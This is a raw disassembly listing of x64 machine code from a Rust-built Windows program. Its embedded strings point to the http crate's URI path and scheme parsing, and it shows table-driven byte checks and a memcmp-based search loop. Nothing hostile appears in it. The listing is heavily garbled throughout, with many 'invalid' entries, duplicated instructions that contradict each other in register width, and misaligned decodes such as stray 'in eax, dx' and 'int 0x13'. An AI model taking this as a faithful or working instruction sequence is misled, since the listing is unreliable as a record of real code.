mov edx, dword [rsp + 0x38]
mov byte [rcx + 8], dl
mov byte [rcx + 9], al
mov byte [rcx + 0xa], r13b
mov byte [rcx + 0xb], r15b
mov byte [rcx + 0xc], r11b
mov byte [rcx + 0xd], bpl
mov byte [rcx + 0xe], r12b
mov byte [rcx + 0xf], 0
mov byte [rcx + 0x10], r8b
adc cl, ch
lodsd eax, dword [rsi]
add eax, dword [rax]
invalid
adc cl, ch
lodsd eax, dword [rsi]
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
push rdx
add al, byte [rdi + 0xf]
mov dh, 0x14
and al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rdi + 0x44000003], dl
mov dword [rsp + 0x28], edx
and al, 0x28
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r12]
test r10b, r10b
je case.0x1400319c8.0
mov dword [rsp + 0x28], r10d
and al, 0x28
cmp r8, 3
jne 0x140031fec
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
jmp case.0x140029f09.240
movzx r11d, byte [rdx + 3]
movzx r10d, byte [r11 + r12]
test r10b, r10b
test dl, dl
test dl, dl
ror byte [rdi], cl
test byte [rbp + 3], dl
add byte [rax], al
je case.0x1400319c8.0
mov dword [rsp + 0x2c], r10d
mov dword [rsp + 0x2c], edx
cmp r8, 4
jne 0x14003203b
invalid
xor dword [rcx], esi
inc dword [rbp + 0x31]
leave
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
and al, 0x38
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor ebp, ebp
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
in eax, dx
in eax, dx
xor r12d, r12d
mov r10d, dword [rsp + 0x2c]
in al, 0x44
mov edx, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov ebx, dword [rsp + 0x24]
jmp 0x140031f5d
and bh, bh
invalid
invalid
je 0x140032055
sub byte [rbx - 0x16dbdba4], cl
and bh, bh
invalid
invalid
movzx r11d, byte [rdx + 4]
movzx r10d, byte [r11 + r12]
movzx edx, byte [rbx + riz]
pop rdx
add al, 0x47
movzx edx, byte [rbx + riz]
test r10b, r10b
je case.0x1400319c8.0
invalid
add eax, dword [rax]
invalid
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 + 0x54], al
and al, 0x30
mov dword [rsp + 0x30], r10d
cmp r8, 5
cmp eax, 5
clc
add eax, 0x31453375
xor ecx, ecx
jne 0x14003208c
xor r9d, r9d
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x38], 0
rol bh, cl
and al, 0x38
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
xor ebp, ebp
xor r12d, r12d
mov r10d, dword [rsp + 0x2c]
sub al, 0x8b
je 0x1400320a2
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
sub byte [rbx - 0x74cfdb84], cl
mov ebx, dword [rsp + 0x24]
pop rsp
and al, 0x24
jmp 0x140031f5d
movzx r11d, byte [rdx + 5]
movzx ebx, byte [rdx + 5]
movzx r9d, byte [r11 + r12]
movzx ecx, byte [rbx + riz]
test r9b, r9b
je case.0x1400319c8.0
mov dword [rsp + 0x34], r9d
mov dword [rsp + 0x34], ecx
and al, 0x34
cmp r8, 6
jne 0x1400320df
clc
invalid
xor edx, edx
mov dword [rsp + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor eax, eax
xor r13d, r13d
xor eax, eax
xor r13d, r13d
in eax, dx
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
xor esp, esp
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
xor byte [rbx + rcx*4 + 0x4c], al
and al, 0x34
je 0x1400320f0
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
xor byte [rbx + rcx*4 + 0x4c], al
and al, 0x34
and al, 0x34
mov ebx, dword [rsp + 0x24]
jmp 0x140031f5d
movzx r11d, byte [rdx + 6]
movzx r9d, byte [r11 + r12]
and eax, dword [rbp - 0x7c]
leave
and eax, dword [rbp - 0x7c]
leave
je case.0x1400319c8.0
add byte [rax], al
mov dword [rsp + 0x3c], r9d
mov dword [rsp + 0x3c], ecx
cmp al, 0x48
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r8
invalid
mov qword [rsp + 0x48], r8
cmp r8, 7
cmp r8, 7
jne 0x140032116
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
cmp byte [rax], al
add byte [rax], al
add bl, ch
sub cl, byte [rax - 0x75]
invalid
jmp 0x140032140
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
and al, 0x58
movzx ecx, byte [rcx + 7]
movzx edx, byte [rcx + r12]
mov dh, 0x14
and dword [rdx + rdx*8 + 0x244c8b48], eax
mov r8, qword [rsp + 0x48]
mov dh, 0x14
and dword [rdx + rdx*8 + 0x244c8b48], eax
mov r8, qword [rsp + 0x48]
je case.0x1400319c8.0
add al, byte [rax]
add byte [rcx + 0x49382454], cl
invalid
mov dword [rsp + 0x38], edx
cmp r8, 8
cmp eax, 8
jne 0x140032179
xor eax, eax
xor r13d, r13d
in eax, dx
in eax, dx
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
push rsp
and al, 0x2c
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
and al, 0x24
and al, 0x24
mov edx, dword [rsp + 0x3c]
jmp 0x140031f5d
invalid
invalid
invalid
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 8]
movzx eax, byte [rcx + r12]
test al, al
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400319c8.0
mov dword [rsp + 0x50], eax
and al, 0x50
cmp r8, 9
jne 0x1400321de
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
jmp 0x140031f5d
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 9]
movzx r14d, byte [rcx + r12]
test r14b, r14b
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400319c8.0
cmp r8, 0xa
jne 0x140032240
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
je 0x140032246
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
je 0x140032246
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
jmp 0x140031f5d
invalid
std
invalid
invalid
sbb eax, 0x48fffffd
mov ecx, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xa]
movzx eax, byte [rcx + r12]
test al, al
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
and al, 0x48
mov dh, 0x49
or al, byte [rdx + 0xf]
mov dh, 4
and dword [rax + rax*8 + 0x244c8b48], eax
mov r8, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
je case.0x1400319c8.0
mov dword [rsp + 0x54], eax
and al, 0x54
cmp r8, 0xb
jne 0x140032271
xor r11d, r11d
xor ebp, ebp
jmp 0x1400322d5
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xb]
movzx r11d, byte [rcx + r12]
sbb al, 0x21
sbb al, 0x21
test r11b, r11b
mov rcx, qword [rsp + 0x40]
and al, 0x40
mov r8, qword [rsp + 0x48]
je case.0x1400319c8.0
cmp r8, 0xc
jne 0x1400322ae
xor ebp, ebp
in eax, dx
jmp 0x1400322d5
call fcn.140010910
mov ecx, 1
mov rdx, rsi
call fcn.140104360
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xc]
movzx ebp, byte [rcx + r12]
test bpl, bpl
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
je case.0x1400319c8.0
cmp r8, 0xd
jne 0x14003230d
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
mov r15d, dword [rsp + 0x54]
jmp 0x140031f5d
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xd]
movzx r12d, byte [rcx + r12]
test r12b, r12b
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
mov r15d, dword [rsp + 0x54]
jne 0x140031f5d
mov byte [rcx], 0xb
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
unpcklps xmm0, xmmword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
jmp 0x1400323f2
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov r8d, 8
mov rdx, rax
add rsp, 0x28
jmp r9
mov edx, 0x28
add byte [rax], al
call fcn.1401046f0
int3
push rbx
sub rsp, 0x78
mov rdi, rdx
mov rsi, rcx
cmp byte [rcx], 0
je 0x1400324b2
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, [0x1400326d0]
mov qword [rsp + 0x30], rax
lea rax, [0x1401267c8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov dword [rsp + 0x50], 2
mov dword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
call fcn.140013960
call fcn.140013960
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14003269c
cmp qword [rsi + 0x20], 0
je 0x140032527
lea rax, [rsi + 0x10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rsp + 0x28], rax
lea rax, [0x140032750]
add byte [rax - 0x77], cl
and al, 0x30
add byte [rax - 0x77], cl
and al, 0x30
mov dword [rsp + 0x30], eax
lea rax, [0x14016f7a8]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
and al, 0x48
mov ecx, dword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
and al, 0x48
and al, 0x48
call fcn.140013960
mov ecx, eax
mov al, 1
test cl, cl
leave
adc al, 0xfe
dec dword [rcx - 0x7bfe4f3f]
invalid
leave
jne 0x14003269c
test dword [rbp + 1], esi
add byte [rax], al
invalid
add byte [rax - 0x75], cl
push rsi
test rdx, rdx
test edx, edx
mov rdx, qword [rsi + 0x40]
test rdx, rdx
test edx, edx
test edx, edx
sal byte [rbp + 9], cl
jne 0x140032539
or dword [rax - 0x7bf0ffc2], eax
jb 0x140032538
cmp byte [rsi], 0
je case.0x14002c4db.289
test byte [rdx + 1], dh
add byte [rax], al
test byte [rdx + 1], dh
add byte [rax], al
add byte [rdi + rcx - 0x49], al
movzx r9d, word [rsi + 0x50]
movzx ecx, word [rsi + 0x50]
push rax
mov rcx, qword [rsi + 0x38]
cmp r9, 0xffff
add byte [rax], al
add byte [rax], al
je 0x140032579
test r9, r9
test ecx, ecx
je case.0x14001a36d.1464
cmp rdx, r9
jbe case.0x14002c4db.502
cmp byte [rcx + r9], 0xbf
cmp byte [rcx + rcx], 0xbf
or dword [rdi + 0x1598e0f], edi
add byte [rax], al
jle 0x1400326b9
mov rdx, r9
jmp 0x140032579
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x13cda7
int 0x13
invalid
add byte [rax], al
lea rcx, [0x14016f318]
int 0x13
add bl, ch
invalid
jmp 0x140032592
jne 0x1400326b9
test dword [rax + 1], eax
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
cmp rdx, 1
cli
add dword [rax - 0x77], ecx
mov rax, rdx
adc rax, 0
rol byte [rax], 1
ror byte [rax - 0x7d], 1
rol byte [rax], 1
test rdx, rdx
lea rdx, [0x14016f318]
lea edx, [0x14016f318]
lea edx, [0x14016f318]
mov cl, ch
adc eax, dword [rax]
invalid
add byte [rax + 0xf], cl
retf 0x8948
cmove rcx, rdx
cmove ecx, edx
mov qword [rsp + 0x28], rcx
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], rax
and al, 0x30
xor byte [rbp + rcx*4 + 0x74], cl
and al, 0x28
lea r14, [rsp + 0x28]
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x38], esi
and al, 0x38
lea r15, case.0x14002c50d.380
lea edi, case.0x14002c50d.380
ret
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x40
invalid
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x40], edi
jl case.0x14002de35.469
lea rax, [0x14016f7a8]
lea rax, [0x14016f7a8]
lea eax, [0x14016f7a8]
add eax, 0x13d1ef
rcl dword [rbx]
add byte [rax - 0x77], cl
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
and al, 0x50
and al, 0x50
push rax
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
invalid
push 0
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x64], cl
lea r12, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x58], r12
mov dword [rsp + 0x58], esp
and al, 0x58
mov qword [rsp + 0x60], 1
mov dword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rbx, qword [rdi + 0x20]
pop rdi
and byte [rax - 0x75], cl
invalid
invalid
mov rdi, qword [rdi + 0x28]
mov edi, dword [rdi + 0x28]
jg 0x140032613
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
lea r8, [rsp + 0x48]
and al, 0x48
mov rcx, rbx
mov rcx, rbx
invalid
mov rdx, rdi
cli
call fcn.140013960
mov ecx, eax
invalid
adc edi, esi
dec dword [rcx - 0x7bfe4f3f]
leave
sal dword [rax + 0xfc98401], 0x85
mov al, 1
test cl, cl
jne 0x14003269c
test dword [rbp + 0x44000000], edx
xchg ebp, eax
add byte [rax], al
add byte [rdi + rcx - 0x49], al
invalid
invalid
invalid
movzx r8d, word [rsi + 0x50]
movzx eax, word [rsi + 0x50]
mov bh, 0x46
push rax
push rax
cmp r8, 0xffff
invalid
add byte [rax], al
je case.0x14002c4db.293
inc r8
inc r8
inc eax
ror byte [rax - 0x75], 0x4e
cmp byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rsi + 0x38]
mov ecx, dword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov edx, dword [rsi + 0x40]
push rsi
mov rax, rdx
mov eax, edx
mov rax, rdx
mov eax, edx
sub rax, r8
jbe 0x140032647
cmp byte [rcx + r8], 0xbf
cmp byte [rcx + rax], 0xbf
add dword [rdi - 0x72b7e581], edi
jg 0x140032649
sbb cl, byte [rax - 0x73]
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
lea eax, [0x140126608]
add eax, 0xf3fd2
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
mov r9, rdx
shr eax, 1
and rax, 0xffffffffc031000d
xor eax, eax
call fcn.140104b90
and eax, 0xc031000d
xor eax, eax
shr bl, 0x55
jmp 0x14003269c
jne 0x14003262f
out 0x4c, al
add rcx, r8
add ecx, eax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x38], ecx
and al, 0x38
cmp byte [rax - 0x77], cl
and al, 0x40
invalid
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x28], esp
and al, 0x28
sub byte [rcx + rcx*4 + 0x7c], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], r15
jl 0x140032683
xor byte [rax - 0x73], cl
lea rax, [0x1401267e8]
add eax, 0xf4181
str word [r8 - 0x77]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
push 0
add byte [rax], al
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x58], esi
and al, 0x58
mov qword [rsp + 0x60], 1
mov dword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
lea r8, [rsp + 0x48]
and al, 0x48
mov rcx, rbx
mov rcx, rbx
mov ecx, ebx
invalid
mov rdx, rdi
cli
call fcn.140013960
invalid
adc bh, dh
call qword [rax + 0x78c48348]
nop
add rsp, 0x78
add esp, 0x78
add esp, 0x78
js 0x1400326fd
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r14
pop r15
ret
lea rcx, [0x14016f768]
lea ecx, [0x14016f768]
or eax, 0x13d0b6
adc eax, dword [rax]
xor eax, eax
jmp 0x140032592
fsin
invalid
invalid
fsin
invalid
dec dword [rax - 0x73]
add eax, 0xf3f30
invalid
invalid
invalid
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
lea eax, [0x1401265f0]
invalid
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
xor r8d, r8d
xor eax, eax
shr al, 0xc3
call fcn.140104b90
int3
and al, 0xd
add ah, cl
int3
int3
sub esp, 0x28
mov rax, qword [rcx]
movzx ecx, byte [rax]
or byte [rbx + 0x137401f9], al
cmp ecx, 1
je 0x1400326f2
add dword [rbx + rdx - 0x7d], esi
stc
cmp ecx, 2
jne 0x140032729
add dh, byte [rbp + 0x45]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
or byte [rax - 0x75], cl
or byte [r11 + rcx*4 + 0x41], cl
mov r8, qword [rcx + 0x10]
invalid
mov eax, dword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
adc r11b, bpl
jmp case.0x14002c4db.288
and dword [rbp + 0x31], eax
rol byte [rax + 0x41000178], 0xf
js 0x1400326f9
add byte [rcx + 0xf], al
xor r8d, r8d
xor eax, eax
cmp byte [rax + 1], 0
js 0x1400326f9
add byte [rcx + 0xf], al
sete r8b
xchg esp, eax
ror byte [rax - 0x73], 0xd
invalid
invalid
lea rcx, [0x14016efab]
lea ecx, [0x14016efab]
cmpsd dword [rsi], dword [rdi]
enter 0x13, 0x48
lea eax, [0x14016efaf]
invalid
adc eax, dword [rax]
lea rax, [0x14016efaf]
enter 0x13, 0x48
cmove eax, ecx
invalid
invalid
cmove rax, rcx
ror dword [rcx - 0x7d], 0xf0
add eax, 0x204a8b48
mov rcx, qword [rdx + 0x20]
xor r8, 5
xor eax, 5
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov r9, qword [rdx + 0x18]
mov rdx, rax
sbb byte [rax - 0x77], cl
ret 0x8348
add rsp, 0x28
add esp, 0x28
sub byte [rcx - 1], cl
loope 0x140032772
jmp r9
jmp rcx
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
pop rsp
adc dword [rax], eax
invalid
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
add eax, 0xf3f49
invalid
mov edx, 0x28
add byte [rax], al
call fcn.1401046f0
int3
or eax, 0xcccccc00
int3
int3
int3
int3
int3
mov ecx, dword [rcx]
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [rbx + rcx*4 + 0x41], cl
adc byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
invalid
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
invalid
invalid
invalid
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
sbb byte [rax - 0x77], cl
ret 0xff49
jmp rcx
int3
mov rax, rdx
ror byte [rax - 0x75], 1
mov rdx, qword [rcx]
mov r8, qword [rcx + 8]
mov eax, dword [rcx + 8]
adc dword [rbx + rcx*4 + 0x41], ecx
or byte [rax - 0x77], cl
mov eax, dword [rcx + 8]
or byte [r8 - 0x77], cl
mov rcx, rax
shr ecx, 0x7e
invalid
jmp fcn.140013600
int3
int3
int3
int3
int3
movzx r10d, byte [rcx]
lea r8d, [rdx - 0x3a]
lea eax, [rdx - 0x3a]
invalid
xor eax, eax
cmp r8b, 0xf7
jb 0x1400327db
movzx r8d, byte [rcx + 1]
add r8b, 0xd0
cmp r8b, 9
cmp al, 9
mov dh, 0x41
add dword [rcx - 0x80], eax
rcl al, 0x41
cmp al, 9
or dword [rdi + 0x27], esi
ja 0x1400327db
movzx ecx, byte [rcx + 2]
add cl, 0xd0
cmp cl, 9
stc
or dword [rdi + 0x1b], esi
add al, byte [r8 - 0x67f2f3f]
stc
or dword [rdi + 0x1b], esi
movzx eax, r8b
movzx eax, al
add dl, 0xd0
movzx edx, dl
imul edx, edx, 0x64
shl byte [rcx + rax - 0x40], cl
shl byte [rcx + rax - 0x40], cl
rol byte [rbp + rcx*4 + 4], 0x80
lea r8d, [rax + rax*4]
movzx eax, cl
add eax, r8d
add eax, edx
rol byte [rcx], 0xd0
ret
rol bl, 0xcc
add byte [rax], al
lea edx, [0x1401732dc]
loope 0x140032803
adc al, 0
loope 0x14003284d
lea eax, [0x14013e2aa]
or byte [rax], al
add byte [rax], al
invalid
add bl, al
lea rax, [0x140126f8a]
invalid
invalid
add byte [rdx + 0xf], bh
add bl, al
invalid
add bl, al
lea rax, [0x140126ff7]
lea eax, [0x140126ff7]
mov edx, 0x14
ret
lea rax, [0x140126fb7]
mov edx, 0xf
add bl, al
add bl, al
lea rax, [0x140126eb9]
mov edx, 0xc
add byte [rax], al
add bl, al
jp 0x140032883
invalid
add byte [rax], al
add bl, al
lea rax, [0x140126f75]
mov edx, 0x15
add bl, al
adc eax, 0xc3000000
add bl, al
lea rax, [0x140126ea7]
mov edx, 0x12
ret
invalid
add byte [rdx + 0xb], bh
add byte [rax], al
ret
cmp rax, 0x10
jae 0x1400338c0
cmp rbx, rsi
je 0x1400339dd
xor r10d, r10d
nop
cmp byte [r8 + r10], bpl
je 0x140033973
inc r10
cmp rax, r10
jne 0x1400338a0
jmp 0x1400339dd
lea r9, [r8 + 7]
and r9, 0xfffffffffffffff8
sub r9, r8
jne 0x1400338d9
mov r12, r15
lea r10, [rax - 0x10]
xor r9d, r9d
jmp 0x140033910
cmp r9, rax
cmovae r9, rax
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [r8 + r10], bpl
je 0x140033973
inc r10
cmp r9, r10
jne case.0x14001a36d.1492
mov r12, r15
lea r10, [rax - 0x10]
jmp 0x140033949
mov r11, qword [r8 + r9]
xor r11, rdi
lea r14, [r11 + r13]
not r11
and r11, r14
mov r14, qword [r8 + r9 + 8]
xor r14, rdi
lea r15, [r14 + r13]
not r14
and r14, r15
or r14, r11
movabs r11, 0x8080808080808080
test r14, r11
jne 0x14003394e
add r9, 0x10
cmp r9, r10
jbe 0x140033910
sal dword [rsi - 0x3e], 1
sub rax, r9
je 0x1400339dd
mov r15, r12
add r8, r9
xor r10d, r10d
cmp byte [r8 + r10], bpl
je 0x140033970
inc r10
inc edx
cmp rax, r10
jne 0x140033960
jmp 0x1400339dd
add r10, r9
add rsi, r10
inc rsi
mov qword [rdx + 0x10], rsi
mov r14, rsi
sub r14, qword [rsp + 0x30]
jb 0x1400339c0
cmp rsi, r15
ja 0x1400339c0
mov rax, qword [rsp + 0x38]
add rax, r14
mov qword [rsp + 0x40], rcx
mov rcx, rax
mov r12, r15
mov r15, rdx
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcmp
mov rdx, r15
mov r15, r12
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x1400339f8
mov rax, qword [rsp + 0x38]
lea r8, [rax + rsi]
mov rax, rbx
sub rax, rsi
mov r14d, 0
jae 0x14003388d
jmp 0x1400339e4
mov qword [rdx + 0x10], rbx
xor r14d, r14d
mov qword [rcx], r14
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], rsi
mov r14d, 1
jmp 0x1400339e4
mov rdi, r8
mov r9, rax
movzx r8d, byte [rdi + r10]
lea rax, [r10 + 1]
mov qword [r14 + 0x10], rax
cmp r8d, 0xa
je 0x140034dea
cmp r8d, 0xd
je 0x140034e1a
cmp byte [r8 + r13], 0
je 0x140034620
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x40], rcx
mov r11, rbx
sub r11, r10
add r11, 0xfffffffffffffffe
add r10, rdi
add r10, 2
nop dword [rax]
cmp rbx, rax
jbe 0x140034db8
mov rbp, rax
mov r9, r11
mov r15, r10
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
dec r11
inc r10
cmp byte [r8 + r13], 0
jne 0x1400345b0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdx
add qword [rsp + 0x50], rax
lea rsi, [rdi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
mov qword [r14 + 8], rbx
cmp r8b, 0x3a
jne 0x140034670
test rbx, rbx
jne 0x1400346f4
jmp 0x140034dc9
cmp byte [rsp + 0x27], 0
je 0x140034dda
nop dword [rax + rax]
test r8b, r8b
je 0x140034dda
movzx r8d, r8b
cmp r8d, 0xa
je 0x14003484e
cmp r8d, 0xd
je 0x14003482f
cmp rbx, rax
jbe 0x140034d9e
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
test r8b, r8b
jne 0x140034639
jmp 0x140034dda
cmp byte [rsp + 0x4f], 0
je 0x14003485c
add rax, rdi
xor edx, edx
cmp r8b, 0x20
je 0x140034694
movzx r10d, r8b
cmp r10d, 9
jne 0x14003485e
sub r9, 1
jb 0x140034dc9
movzx r8d, byte [rax + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
cmp r8b, 0x3a
jne 0x140034680
add qword [rsp + 0x50], rdx
add rsi, rdx
sub rbx, rdx
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
